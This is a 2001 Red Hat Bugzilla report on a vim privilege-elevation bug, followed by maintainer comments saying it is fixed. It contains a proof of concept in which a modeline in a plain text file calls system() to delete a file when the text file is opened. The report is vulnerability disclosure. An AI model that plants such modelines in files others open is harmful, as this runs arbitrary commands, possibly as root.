Bug 25194 - priviledge elevation via simple text file
priviledge elevation via simple text file
Status: CLOSED ERRATA
Product: Red Hat Linux
Classification: Retired
Component: vim (Show other bugs)
7.0
All Linux
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Assigned To: Bernhard Rosenkraenzer
David Lawrence
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Reported: 2001-01-29 12:13 EST by Daniel Roesen
Modified: 2007-03-26 23:39 EDT (History)
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Last Closed: 2001-03-04 07:48:52 EST
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Description Daniel Roesen 2001-01-29 12:13:33 EST
$ touch testfile
$ echo "vim:ls=2:stl=%{system('rm\ testfile')}" > test.txt
$ vi test.txt 
[leave with :q]
$ ls testfile
ls: testfile: No such file or directory

Think about files opened in vim by root.

restricting viewability to beta team right now. open for public if you
think it is apropriate.

I have stomach ache now :-$
Comment 1 Daniel Roesen 2001-01-29 12:27:33 EST
This is with vim 6.0-0.12, once build from a Rawhide SRPM.
Comment 2 Bernhard Rosenkraenzer 2001-01-29 17:06:18 EST
This is fixed in releases >= 0.20.
Looking into older releases now...
Comment 3 Bernhard Rosenkraenzer 2001-01-29 18:24:47 EST
Fixed package built, waiting for QA approval
Comment 4 Daniel Roesen 2001-03-04 07:48:48 EST
Hm, no activity since over a month now. Will we see errata update vim for
anymore?
Comment 5 Bernhard Rosenkraenzer 2001-03-22 14:11:53 EST
Fixed

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